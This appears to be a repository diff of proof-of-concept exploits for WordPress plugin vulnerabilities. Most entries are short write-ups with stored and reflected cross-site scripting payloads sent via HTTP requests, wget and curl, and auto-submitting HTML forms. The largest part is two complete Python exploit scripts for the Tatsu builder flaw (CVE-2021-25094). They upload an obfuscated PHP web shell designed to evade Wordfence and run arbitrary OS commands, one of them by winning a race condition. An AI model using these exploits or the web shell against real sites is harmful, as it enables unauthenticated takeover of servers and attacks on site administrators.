12	+	"content-type": "application/x-www-form-urlencoded"
13	+
14	+	},
15	+
16	+	"body": "submit-uaf-font-assign=x&elements[]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none !important};&font_key=1",
17	+
18	+	"method": "POST",
19	+
20	+	"credentials": "include"
21	+
22	+	}).then(response => response.text())
23	+
24	+	.then(data => console.log(data));
25	+
26	+
27	+
28	+	POST / HTTP/1.1
29	+
30	+	Accept: /
31	+
32	+	Accept-Language: en-GB,en;q=0.5
33	+
34	+	Accept-Encoding: gzip, deflate
35	+
36	+	Content-type: application/x-www-form-urlencoded
37	+
38	+	Content-Length: 301
39	+
40	+	Connection: close
41	+
42	+
43	+
44	+	submit-uaf-font-assign=x&elements[]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none+!important};&font_key=1
45	+
46	+
47	+
48	+
49	+
50	+	To perform XSS in the backend, use a payload such as <script>alert(/XSS/)</script> in the elements[], then the XSS will be triggered when viewing the Assign Font dashboard (/wp-admin/admin.php?page=use-any-font&tab=font_assign)
51	+	```
52	+

■ ■ ■ ■ ■ ■

CVE-2021-25078/README.md

1	+	# Affiliates Manager < 2.9.0 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not validate, sanitise and escape the IP address of requests logged by the click tracking feature, allowing unauthenticated attackers to perform Cross-Site Scripting attacks against admin viewing the tracked requests.
5	+
6	+	# Proof of Concept
7	+	```
8	+	As unauthenticated: wget "https://example.com/?wpam_id=1" --header="X-Forwarded-For: <img src onerror=alert(/XSS/)>" -q -O-
9	+
10	+
11	+
12	+	The XSS will be triggered when an admin access http://example.com/wp-admin/admin.php?page=wpam-clicktracking
13	+	```
14	+

■ ■ ■ ■ ■ ■

CVE-2021-25080/README.md

1	+	# Contact Form Entries < 1.1.7 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not validate, sanitise and escape the IP address retrieved via headers such as CLIENT-IP and X-FORWARDED-FOR, allowing unauthenticated attackers to perform Cross-Site Scripting attacks against logged in admins viewing the created entry
5	+
6	+	# Proof of Concept
7	+	```
8	+	POST /wp-json/contact-form-7/v1/contact-forms/1376/feedback HTTP/1.1
9	+
10	+	Accept: application/json, /;q=0.1
11	+
12	+	Accept-Language: en-GB,en;q=0.5
13	+
14	+	Accept-Encoding: gzip, deflate
15	+
16	+	Content-Type: multipart/form-data; boundary=---------------------------9885500162977152723644841236
17	+
18	+	Content-Length: 963
19	+
20	+	Connection: close
21	+
22	+	Client-IP: <script>alert(/XSS/)</script>
23	+
24	+	Cookie: vx_user=61c2ecea43ad6164016458635903967
25	+
26	+
27	+
28	+	-----------------------------9885500162977152723644841236
29	+
30	+	Content-Disposition: form-data; name="_wpcf7"
31	+
32	+
33	+
34	+	1376
35	+
36	+	-----------------------------9885500162977152723644841236
37	+
38	+	Content-Disposition: form-data; name="_wpcf7_version"
39	+
40	+
41	+
42	+	5.5.3
43	+
44	+	-----------------------------9885500162977152723644841236
45	+
46	+	Content-Disposition: form-data; name="_wpcf7_locale"
47	+
48	+
49	+
50	+	en_US
51	+
52	+	-----------------------------9885500162977152723644841236
53	+
54	+	Content-Disposition: form-data; name="_wpcf7_unit_tag"
55	+
56	+
57	+
58	+	wpcf7-f1376-p1701-o1
59	+
60	+	-----------------------------9885500162977152723644841236
61	+
62	+	Content-Disposition: form-data; name="_wpcf7_container_post"
63	+
64	+
65	+
66	+	1701
67	+
68	+	-----------------------------9885500162977152723644841236
69	+
70	+	Content-Disposition: form-data; name="_wpcf7_posted_data_hash"
71	+
72	+
73	+
74	+	3e8ce0f47face5a3318813e733c3c774
75	+
76	+	-----------------------------9885500162977152723644841236
77	+
78	+	Content-Disposition: form-data; name="text-42"
79	+
80	+
81	+
82	+	Test
83	+
84	+	-----------------------------9885500162977152723644841236--
85	+
86	+	```
87	+

■ ■ ■ ■ ■ ■

CVE-2021-25086/README.md

1	+	# Advanced Page Visit Counter < 6.1.2 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not sanitise and escape some input before outputting it in an admin dashboard page, allowing unauthenticated attackers to perform Cross-Site Scripting attacks against admins viewing it
5	+
6	+	# Proof of Concept
7	+	```
8	+	As unauthenticated: wget "https://example.com/?p=1" --header "Referer: <img src onerror=alert(/XSS/)>" -O-
9	+
10	+
11	+
12	+	The XSS will be triggered when an admin access the detailed report of the related article: e.g https://example.com/wp-admin/admin.php?page=apvc-dashboard-page&apvc_page=detailed-reports&article_id=1
13	+	```
14	+

■ ■ ■ ■ ■ ■

CVE-2021-25094-tatsu-preauth-rce/README.md

1	+	# Preauth RCE in Tatsu builder Wordpress plugin (CVE-2021-25094)
2	+
3	+	Simple PoC of an unauthenticated RCE in Tatsu Builder <= 3.3.11 provided as an example.
4	+
5	+	Full write-up here: https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/
6	+
7	+	Usage:
8	+	```
9	+	python3 exploit-rce.py [-h] [--technique TECHNIQUE] [--customShell CUSTOMSHELL] [--keep KEEP] [--proxy PROXY] [--compressionLevel COMPRESSIONLEVEL] url cmd
10	+
11	+	positional arguments:
12	+	url Wordpress vulnerable URL (example: https://mywordpress.com/)
13	+	cmd OS command to execute
14	+
15	+	optional arguments:
16	+	-h, --help show this help message and exit
17	+	--technique TECHNIQUE
18	+	Shell technique: php \| htaccess \| custom
19	+	--customShell CUSTOMSHELL
20	+	Provide a custom PHP shell file that will take a base64 cmd as $_POST['text'] input
21	+	--keep KEEP Do not auto-destruct the uploaded PHP shell
22	+	--proxy PROXY Specify and use an HTTP proxy (example: http://localhost:8080)
23	+	--compressionLevel COMPRESSIONLEVEL
24	+	Compression level of the zip file (0 to 9, default 9)
25	+	```
26	+
27	+	Example:
28	+	```
29	+	└─$ python3 exploit-rce.py http://wordpress/ id
30	+	\|=== Tatsudo: pre-auth RCE exploit for Tatsu wordpress plugin <= 3.3.11
31	+	\|=== CVE-2021-25094 / Vincent MICHEL (@darkpills)
32	+
33	+	[+] Generating a zip with shell technique 'php'
34	+	[+] Uploading zip archive to http://wordpress//wp-admin/admin-ajax.php?action=add_custom_font
35	+	[+] Upload OK
36	+	[+] Trigger shell at http://wordpress/wp-content/uploads/typehub/custom/hjf/.bfzwt.php
37	+	[+] Exploit success!
38	+	uid=33(www-data) gid=33(www-data) groups=33(www-data)
39	+
40	+	[+] Shell file has been auto-deleted but parent directory will remain on the webserver
41	+	[+] Job done
42	+	```
43	+

■ ■ ■ ■ ■ ■

CVE-2021-25094-tatsu-preauth-rce/exploit-race.py

1	+	#!/usr/bin/python3
2	+	# coding: utf-8
3	+
4	+	# Tatsudo: Tatsu <= 3.3.11 pre-auth RCE exploit via Race condition
5	+	# The exploit bypass Wordfence
6	+	#
7	+	# Product: Tatsu wordpress plugin <= 3.3.11
8	+	# CVE: CVE-2021-25094 / Vincent MICHEL (@darkpills)
9	+	# Editor: Tasubuilder / BrandExponents.com
10	+	# URL: https://tatsubuilder.com/
11	+
12	+
13	+	import sys
14	+	import requests
15	+	import argparse
16	+	import urllib3
17	+	import threading
18	+	import time
19	+	import base64
20	+	import queue
21	+	import io
22	+	import os
23	+	import zipfile
24	+	import string
25	+	import random
26	+	from datetime import datetime
27	+
28	+	urllib3.disable_warnings()
29	+
30	+	class HTTPCaller():
31	+
32	+	def __init__(self, url, headers, proxies, cmd):
33	+	self.url = url
34	+	self.headers = headers
35	+	self.proxies = proxies
36	+	self.cmd = cmd
37	+	self.encodedCmd = base64.b64encode(cmd.encode("utf8"))
38	+	self.zipname = None
39	+	self.shellFilename = None
40	+
41	+	if self.url[-1] == '/':
42	+	self.url = self.url[:-1]
43	+
44	+	if proxies:
45	+	self.proxies = {"http" : proxies, "https" : proxies}
46	+	else:
47	+	self.proxies = {}
48	+
49	+	def generateZip(self, nbFiles, compressionLevel, customShell):
50	+	buffer = io.BytesIO()
51	+	with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED, False, compressionLevel) as zipFile:
52	+
53	+	# Write shell first
54	+	if customShell and os.path.isfile(customShell):
55	+	with open(customShell) as f:
56	+	shell = f.readlines()
57	+	shell = "\n".join(shell)
58	+	else:
59	+	# a lazy obfuscated shell, basic bypass Wordfence
60	+	# i would change base64 encoding for something better
61	+	shell = "<?php "
62	+	shell += "$f = \"lmeyst\";"
63	+	shell += "@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];"
64	+	shell += "@$words = array(base64_decode($_POST['text']));"
65	+	shell += "$j=\"array\".\"_\".\"filter\";"
66	+	shell += "@$filtered_words = $j($words, $a);"
67	+
68	+	self.zipname = ''.join(random.choice(string.ascii_lowercase) for i in range(3))
69	+	self.shellFilename = ''.join(random.choice(string.ascii_lowercase) for i in range(5)) + ".php"
70	+	zipFile.writestr(self.shellFilename, shell)
71	+
72	+	for i in range(nbFiles):
73	+	filename = ('%x' % random.randrange(16**32)) + ".txt"
74	+	content = ('%x' % random.randrange(16**65))
75	+	zipFile.writestr(filename, content)
76	+
77	+	self.zipFile = buffer
78	+
79	+	def getShellUrl(self):
80	+	return "%s/wp-content/uploads/typehub/custom/%s/%s" % (self.url, self.zipname, self.shellFilename)
81	+
82	+	def executeCmd(self):
83	+	return requests.post(url = self.getShellUrl(), data = {"text": self.encodedCmd}, headers = self.headers, proxies = self.proxies, verify=False)
84	+
85	+	def upload(self):
86	+	url = "%s/wp-admin/admin-ajax.php" % self.url
87	+	files = {"file": ("%s.zip" % self.zipname, self.zipFile.getvalue())}
88	+	return requests.post(url = url, data = {"action": "add_custom_font"}, files = files, headers = self.headers, proxies = self.proxies, verify=False)
89	+
90	+	class HTTPCallThread (threading.Thread):
91	+	def __init__(self, threadID, caller, startevent, result):
92	+	threading.Thread.__init__(self)
93	+	self.threadID = threadID
94	+	self.caller = caller
95	+	self.result = result
96	+	self.startrequest = startevent
97	+	self.stoprequest = threading.Event()
98	+
99	+	def run(self):
100	+	while not self.startrequest.isSet():
101	+	time.sleep(0.1)
102	+
103	+	while not self.stoprequest.isSet():
104	+	r = self.caller.executeCmd()
105	+	if r.status_code == 200:
106	+	self.result.put(r.text)
107	+	break
108	+
109	+
110	+	def join(self, timeout=None):
111	+	self.stoprequest.set()
112	+	super(HTTPCallThread, self).join(timeout)
113	+
114	+	def main():
115	+	print("")
116	+	print("\|=== Tatsudo: pre-auth RCE exploit for Tatsu wordpress plugin <= 3.3.8")
117	+	print("\|=== CVE-2021-25094 / Vincent MICHEL (@darkpills)")
118	+	print("")
119	+
120	+	parser = argparse.ArgumentParser()
121	+	parser.add_argument("url", help="Wordpress vulnerable URL (example: https://mywordpress.com/)")
122	+	parser.add_argument("cmd", help="OS command to execute")
123	+	parser.add_argument('--nbFiles', help="number of files to put in the zip to influence the unzip time of the server (default: 10000)", default=10000, type=int)
124	+	parser.add_argument('--compressionLevel', help="compression level of the zip file (0 to 9, default 9)", default=9, type=int)
125	+	parser.add_argument('--threads', help="number of threads to spawn for race condition (default 10)", default=10, type=int)
126	+	parser.add_argument('--timeout', help="timeout after initial file upload before killing child threads (default 30)", default=30, type=int)
127	+	parser.add_argument('--proxy', help="Specify and use an HTTP proxy (example: http://localhost:8080)")
128	+	parser.add_argument('--customShell', help="Provide a custom PHP shell file that will take a base64 cmd as $_POST['text'] input")
129	+
130	+
131	+	args = parser.parse_args()
132	+
133	+	# Use web browser-like header
134	+	headers = {
135	+	"X-Requested-With": "XMLHttpRequest",
136	+	"Origin": args.url,
137	+	"Referer": args.url,
138	+	"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
139	+	"Accept": "/",
140	+	"Accept-Language": "en-US,en;q=0.9"
141	+	}
142	+
143	+	caller = HTTPCaller(args.url, headers, args.proxy, args.cmd)
144	+
145	+	print("[+] Generating a big zip with %d files and obfuscated shell" % args.nbFiles)
146	+	caller.generateZip(args.nbFiles, args.compressionLevel, args.customShell)
147	+	print("[+] Zip file size: %dkB" % int(len(caller.zipFile.getvalue()) / (1024)))
148	+	result = queue.Queue()
149	+	startevent = threading.Event()
150	+
151	+	# Create new threads
152	+	print("[+] Starting %d threads" % args.threads)
153	+	threads = []
154	+	for i in range(args.threads):
155	+	thread = HTTPCallThread(i, caller, startevent, result)
156	+	thread.start()
157	+	threads.append(thread)
158	+
159	+	# Wait for threads to start
160	+	time.sleep(2)
161	+	print("[+] Enabling threads to pull shell URL %s (removed by the plugin after exploit)" % caller.getShellUrl())
162	+	# Make them start to pull the shell URL where it will be supposed to be
163	+	startevent.set()
164	+
165	+	print("[+] Uploading zip archive to %s/wp-admin/admin-ajax.php?action=add_custom_font so please wait..." % (args.url))
166	+	r = caller.upload()
167	+	if (r.status_code == 200 and r.text == '{"status":"invalid_zip"}'):
168	+	print("[+] Upload OK")
169	+	else:
170	+	print("[!] Got an unexpected HTTP response: %d with content:\n%s" % (r.status_code, r.text))
171	+	print("[!] Not sure the rest will work...")
172	+
173	+	try:
174	+	print("[+] Waiting for the shell to be unziped...")
175	+	# try to get the first element put by the threads in the queue (FIFO)
176	+	cmdText = result.get(True, args.timeout)
177	+	print("[+] Exploit success!")
178	+	print(cmdText)
179	+	except queue.Empty:
180	+	print("[!] Exploit failed :(")
181	+	print("Try to retry: race condition exploit is not an exact science")
182	+	print("Try to increase the number of files in the archive --nbFiles")
183	+	print("Try to increase the number of threads --threads")
184	+
185	+	# Stop remaining threads
186	+	print("[+] Cleaning-up threads")
187	+	for t in threads:
188	+	t.join()
189	+
190	+	print("[+] Job done")
191	+
192	+	if __name__ == '__main__':
193	+	main()
194	+

■ ■ ■ ■ ■ ■

CVE-2021-25094-tatsu-preauth-rce/exploit-rce.py

1	+	#!/usr/bin/python3
2	+	# coding: utf-8
3	+
4	+	# Tatsudo: Tatsu <= 3.3.11 pre-auth RCE exploit
5	+	# The exploit bypass Wordfence
6	+	#
7	+	# Product: Tatsu wordpress plugin <= 3.3.11
8	+	# CVE: CVE-2021-25094 / Vincent MICHEL (@darkpills)
9	+	# Editor: Tasubuilder / BrandExponents.com
10	+	# URL: https://tatsubuilder.com/
11	+
12	+
13	+	import sys
14	+	import requests
15	+	import argparse
16	+	import urllib3
17	+	import threading
18	+	import time
19	+	import base64
20	+	import queue
21	+	import io
22	+	import os
23	+	import zipfile
24	+	import string
25	+	import random
26	+	from datetime import datetime
27	+
28	+	urllib3.disable_warnings()
29	+
30	+	class HTTPCaller():
31	+
32	+	def __init__(self, url, headers, proxies, cmd):
33	+	self.url = url
34	+	self.headers = headers
35	+	self.proxies = proxies
36	+	self.cmd = cmd
37	+	self.encodedCmd = base64.b64encode(cmd.encode("utf8"))
38	+	self.zipname = None
39	+	self.shellFilename = None
40	+
41	+	if self.url[-1] == '/':
42	+	self.url = self.url[:-1]
43	+
44	+	if proxies:
45	+	self.proxies = {"http" : proxies, "https" : proxies}
46	+	else:
47	+	self.proxies = {}
48	+
49	+	def generateZip(self, compressionLevel, technique, customShell, keep):
50	+	buffer = io.BytesIO()
51	+	with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED, False, compressionLevel) as zipFile:
52	+
53	+	if technique == "custom" and customShell and os.path.isfile(customShell):
54	+	with open(customShell) as f:
55	+	shell = f.readlines()
56	+	shell = "\n".join(shell)
57	+	self.shellFilename = os.path.basename(customShell)
58	+	if self.shellFilename[0] != ".":
59	+	self.shellFilename = "." + self.shellFilename
60	+
61	+	zipFile.writestr(self.shellFilename, shell)
62	+
63	+	elif technique == "php":
64	+	# a lazy obfuscated shell, basic bypass Wordfence
65	+	# i would change base64 encoding for something better
66	+	shell = "<?php "
67	+	shell += "$f = \"lmeyst\";"
68	+	shell += "@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];"
69	+	shell += "@$words = array(base64_decode($_POST['text']));"
70	+	shell += "$j=\"array\".\"_\".\"filter\";"
71	+	shell += "@$filtered_words = $j($words, $a);"
72	+	if not keep:
73	+	shell += "@unlink(__FILE__);"
74	+	self.shellFilename = "." + (''.join(random.choice(string.ascii_lowercase) for i in range(5))) + ".php"
75	+	zipFile.writestr(self.shellFilename, shell)
76	+
77	+
78	+	elif technique.startswith("htaccess"):
79	+
80	+	# requires AllowOverride All in the apache config file
81	+	shell = "AddType application/x-httpd-php .png\n"
82	+	zipFile.writestr(".htaccess", shell)
83	+
84	+	shell = "<?php "
85	+	shell += "$f = \"lmeyst\";"
86	+	shell += "@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];"
87	+	shell += "@$words = array(base64_decode($_POST['text']));"
88	+	shell += "$j=\"array\".\"_\".\"filter\";"
89	+	shell += "@$filtered_words = $j($words, $a);"
90	+	if not keep:
91	+	shell += "@unlink('.'+'h'+'t'+'a'+'cc'+'e'+'ss');"
92	+	shell += "@unlink(__FILE__);"
93	+	self.shellFilename = "." + (''.join(random.choice(string.ascii_lowercase) for i in range(5))) + ".png"
94	+	zipFile.writestr(self.shellFilename, shell)
95	+
96	+	else:
97	+	print("Error: unknow shell technique %s" % technique)
98	+	sys.exit(1)
99	+
100	+	self.zipname = ''.join(random.choice(string.ascii_lowercase) for i in range(3))
101	+
102	+	self.zipFile = buffer
103	+
104	+	def getShellUrl(self):
105	+	return "%s/wp-content/uploads/typehub/custom/%s/%s" % (self.url, self.zipname, self.shellFilename)
106	+
107	+	def executeCmd(self):
108	+	return requests.post(url = self.getShellUrl(), data = {"text": self.encodedCmd}, headers = self.headers, proxies = self.proxies, verify=False)
109	+
110	+	def upload(self):
111	+	url = "%s/wp-admin/admin-ajax.php" % self.url
112	+	files = {"file": ("%s.zip" % self.zipname, self.zipFile.getvalue())}
113	+	return requests.post(url = url, data = {"action": "add_custom_font"}, files = files, headers = self.headers, proxies = self.proxies, verify=False)
114	+
115	+	def main():
116	+
117	+	description = "\|=== Tatsudo: pre-auth RCE exploit for Tatsu wordpress plugin <= 3.3.8\n"
118	+	description += "\|=== CVE-2021-25094 / Vincent MICHEL (@darkpills)"
119	+
120	+	print(description)
121	+	print("")
122	+
123	+	parser = argparse.ArgumentParser()
124	+	parser.add_argument("url", help="Wordpress vulnerable URL (example: https://mywordpress.com/)")
125	+	parser.add_argument("cmd", help="OS command to execute")
126	+	parser.add_argument('--technique', help="Shell technique: php \| htaccess \| custom", default="php")
127	+	parser.add_argument('--customShell', help="Provide a custom PHP shell file that will take a base64 cmd as $_POST['text'] input")
128	+	parser.add_argument('--keep', help="Do not auto-destruct the uploaded PHP shell", default=False, type=bool)
129	+	parser.add_argument('--proxy', help="Specify and use an HTTP proxy (example: http://localhost:8080)")
130	+	parser.add_argument('--compressionLevel', help="Compression level of the zip file (0 to 9, default 9)", default=9, type=int)
131	+
132	+
133	+	args = parser.parse_args()
134	+
135	+	# Use web browser-like header
136	+	headers = {
137	+	"X-Requested-With": "XMLHttpRequest",
138	+	"Origin": args.url,
139	+	"Referer": args.url,
140	+	"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
141	+	"Accept": "/",
142	+	"Accept-Language": "en-US,en;q=0.9"
143	+	}
144	+
145	+	caller = HTTPCaller(args.url, headers, args.proxy, args.cmd)
146	+
147	+	print("[+] Generating a zip with shell technique '%s'" % args.technique)
148	+	caller.generateZip(args.compressionLevel, args.technique, args.customShell, args.keep)
149	+
150	+	print("[+] Uploading zip archive to %s/wp-admin/admin-ajax.php?action=add_custom_font" % (args.url))
151	+	r = caller.upload()
152	+	if (r.status_code != 200 or not r.text.startswith('{"status":"success"')):
153	+	print("[!] Got an unexpected HTTP response: %d with content:\n%s" % (r.status_code, r.text))
154	+	print("[!] Exploit failed!")
155	+	sys.exit(1)
156	+
157	+	print("[+] Upload OK")
158	+
159	+	print("[+] Trigger shell at %s" % caller.getShellUrl())
160	+	r = caller.executeCmd()
161	+	if (r.status_code != 200):
162	+	print("[!] Got an unexpected HTTP response: %d with content:\n%s" % (r.status_code, r.text))
163	+	print("[!] Exploit failed!")
164	+	sys.exit(1)
165	+
166	+	print("[+] Exploit success!")
167	+	print(r.text)
168	+
169	+	if args.keep:
170	+	print("[+] Call it with:")
171	+	print('curl -X POST -d"text=$(echo "{0}" \| base64 -w0)" {1}'.format(args.cmd, caller.getShellUrl()))
172	+	else:
173	+	print("[+] Shell file has been auto-deleted but parent directory will remain on the webserver")
174	+
175	+	print("[+] Job done")
176	+
177	+	if __name__ == '__main__':
178	+	main()
179	+

■ ■ ■ ■ ■ ■

CVE-2021-25099/README.md

1	+	# Give < 2.17.3 - Unauthenticated Reflected Cross-Site Scripting
2	+	Description
3	+	<br>
4	+	The plugin does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting
5	+	<br>
6	+	# Proof of Concept
7	+	As an unauthenticated user:
8	+	```
9	+	<html>
10	+
11	+	<body>
12	+
13	+	<form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
14	+
15	+	<input type="hidden" name="action" value="give_checkout_login" />
16	+
17	+	<input type="hidden" name="form_id" value='xxxxxx"><script>alert(/XSS/)</script>' />
18	+
19	+	<input type="submit" value="Submit request" />
20	+
21	+	</form>
22	+
23	+	</body>
24	+
25	+
26	+
27	+	<script>
28	+
29	+	var form1 = document.getElementById('hack');
30	+
31	+	form1.submit();
32	+
33	+	</script>
34	+
35	+	</html>
36	+	```
37	+	# References
38	+	https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
39	+

■ ■ ■ ■ ■ ■

CVE-2021-25107/README.md

1	+	# Form Store to DB < 1.1.1 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not sanitise and escape parameter keys before outputting it back in the created entry, allowing unauthenticated attacker to perform Cross-Site Scripting attacks against admin
5	+
6	+	# Proof of Concept
7	+	```
8	+	POST /wp-json/contact-form-7/v1/contact-forms/1337/feedback HTTP/2
9	+
10	+	Content-Type: multipart/form-data; boundary=---------------------------243715402120191890871051639470
11	+
12	+
13	+
14	+	-----------------------------243715402120191890871051639470
15	+
16	+	Content-Disposition: form-data; name="your-name"
17	+
18	+
19	+
20	+	Attacker
21	+
22	+	-----------------------------243715402120191890871051639470
23	+
24	+	Content-Disposition: form-data; name="your-email"
25	+
26	+
27	+
28	+	[email protected]
29	+
30	+	-----------------------------243715402120191890871051639470
31	+
32	+	Content-Disposition: form-data; name="your-subject"
33	+
34	+
35	+
36	+	XSS Injection
37	+
38	+	-----------------------------243715402120191890871051639470
39	+
40	+	Content-Disposition: form-data; name="your-message"
41	+
42	+
43	+
44	+	Sorry, not sorry.
45	+
46	+	-----------------------------243715402120191890871051639470
47	+
48	+	Content-Disposition: form-data; name="AA<svg/onload=(alert)(/XSS/)>"
49	+
50	+
51	+
52	+	Injected
53	+
54	+	-----------------------------243715402120191890871051639470--
55	+
56	+
57	+
58	+
59	+
60	+	The XSS will be triggered when viewing the related Entry in the admin dashboard (/wp-admin/edit.php?post_type=cf7storetodbs)
61	+	```
62	+	# References
63	+	https://wpscan.com/vulnerability/3999a1b9-df85-43b1-b412-dc8a6f71cc5d
64	+

■ ■ ■ ■ ■ ■

CVE-2022-0220/README.md

1	+	# WordPress GDPR & CCPA < 1.9.27 - Unauthenticated Reflected Cross-Site Scripting
2	+	Description
3	+
4	+	The check_privacy_settings AJAX action of the plugin, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce)
5	+
6	+	# Proof of Concept
7	+	```
8	+	<html>
9	+
10	+	<body>
11	+
12	+	<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
13	+
14	+	<input type="hidden" name="action" value="check_privacy_settings" />
15	+
16	+	<input type="hidden" name="settings[40]" value="40" />
17	+
18	+	<input type="hidden" name="settings[41]" value="<body onload=alert(`XSS`)>" />
19	+
20	+	<input type="hidden" name="nonce" value="XXXX" />
21	+
22	+	<input type="submit" value="Submit request" />
23	+
24	+	</form>
25	+
26	+	</body>
27	+
28	+	</html>
29	+
30	+
31	+
32	+
33	+
34	+	POST /wp-admin/admin-ajax.php HTTP/1.1
35	+
36	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
37	+
38	+	Accept-Language: en-GB,en;q=0.5
39	+
40	+	Accept-Encoding: gzip, deflate
41	+
42	+	Content-Type: application/x-www-form-urlencoded
43	+
44	+	Content-Length: 115
45	+
46	+	Connection: close
47	+
48	+	Upgrade-Insecure-Requests: 1
49	+
50	+
51	+
52	+	action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(`XSS`)%3e&nonce=XXXX
53	+	```
54	+	# References
55	+	https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059
56	+

■ ■ ■ ■ ■ ■

CVE-2022-0230/README.md

1	+	# Better WordPress Google XML Sitemaps <= 1.4.1 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not sanitise and escape its logs when outputting them in the admin dashboard, which could allow unauthenticated users to perform Stored Cross-Site Scripting attacks against admins
5	+
6	+	# Proof of Concept
7	+	```
8	+	With the permalinks settings set to plain, as an unauthenticated user, open http://example.com/?bwpsitemap=%3Cimg%20src%20onerror=alert(/XSS/)%3E
9	+
10	+
11	+
12	+	The XSS will be triggered in the log dashboard of the plugin https://example.com/wp-admin/admin.php?page=bwp_gxs_stats
13	+

■ ■ ■ ■ ■ ■

CVE-2022-0248/README.md

1	+	# Contact Form Submissions < 1.7.3 - Unauthenticated Stored XSS
2	+	Description
3	+	<br>
4	+	The plugin does not sanitise and escape additional fields in contact form requests before outputting them in the related submission. As a result, unauthenticated attacker could perform Cross-Site Scripting attacks against admins viewing the malicious submission
5	+	<br>
6	+	# Proof of Concept
7	+	```
8	+	POST /wp-json/contact-form-7/v1/contact-forms/1376/feedback HTTP/1.1
9	+
10	+	Accept: application/json, text/javascript, /; q=0.01
11	+
12	+	Accept-Language: en-GB,en;q=0.5
13	+
14	+	Accept-Encoding: gzip, deflate
15	+
16	+	Content-Type: multipart/form-data; boundary=---------------------------243715402120191890871051639470
17	+
18	+	X-Requested-With: XMLHttpRequest
19	+
20	+	Content-Length: 726
21	+
22	+	Connection: close
23	+
24	+
25	+
26	+	-----------------------------243715402120191890871051639470
27	+
28	+	Content-Disposition: form-data; name="your-name"
29	+
30	+
31	+
32	+	Attacker
33	+
34	+	-----------------------------243715402120191890871051639470
35	+
36	+	Content-Disposition: form-data; name="your-email"
37	+
38	+
39	+
40	+	[email protected]
41	+
42	+	-----------------------------243715402120191890871051639470
43	+
44	+	Content-Disposition: form-data; name="your-subject"
45	+
46	+
47	+
48	+	XSS Injection
49	+
50	+	-----------------------------243715402120191890871051639470
51	+
52	+	Content-Disposition: form-data; name="your-message"
53	+
54	+
55	+
56	+	Sorry, not sorry.
57	+
58	+	-----------------------------243715402120191890871051639470
59	+
60	+	Content-Disposition: form-data; name="<svg/onload=(alert)(/XSS/)>"
61	+
62	+
63	+
64	+	Injected
65	+
66	+	-----------------------------243715402120191890871051639470--
67	+
68	+
69	+
70	+	The XSS will be triggered when an admin view the related submission
71	+	```
72	+	# References
73	+	https://wpscan.com/vulnerability/d02cf542-2d75-46bc-a0df-67bbe501cc89
74	+

■ ■ ■ ■ ■ ■

CVE-2022-0385/README.md

1	+	# Crazy Bone <= 0.6.0 - Unauthenticated Stored XSS
2	+	Description
3	+	<br>
4	+	The plugin does not sanitise and escape the username submitted via the login from when displaying them back in the log dashboard, leading to an unauthenticated Stored Cross-Site scripting
5	+	<br>
6	+	# Proof of Concept
7	+	```
8	+	curl 'https://example.com/wp-login.php' --data-raw 'log=a<img src onerror=alert(/XSS/)>&pwd=x&wp-submit=Log+In'
9	+
10	+	The XSS will be trigged in the 'All User' section of the Login Log: https://example.com/wp-admin/users.php?page=crazy-bone%2Fplugin.php&user_id=-1&status
11	+	```
12	+	References:
13	+	https://wpscan.com/vulnerability/60067b8b-9fa5-40d1-817a-929779947891
14	+

■ ■ ■ ■ ■ ■

CVE-2022-0429/README.md

1	+	# WP Cerber Security, Anti-spam & Malware Scan < 8.9.6 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not sanitise the $url variable before using it in an attribute in the Activity tab in the plugins dashboard, leading to an unauthenticated stored Cross-Site Scripting vulnerability.
5	+
6	+	# Proof of Concept
7	+	```
8	+	POST /"/onmouseover=alert(1);// HTTP/1.1
9	+
10	+	Host: 127.0.0.1
11	+
12	+	Content-Type: application/x-www-form-urlencoded
13	+
14	+	Content-Length: 100
15	+
16	+
17	+
18	+	a[b][c][d][e][f][g][h][i][j][k][l][m][n][o][p][q][r][s][t][u][v][w][x][y][z][1][2][3][4][5][6]=12345
19	+
20	+
21	+
22	+	Then the admin needs to browse to http://127.0.0.1:8001/wp-admin/admin.php?page=cerber-security&tab=activity and move mouse over the link.
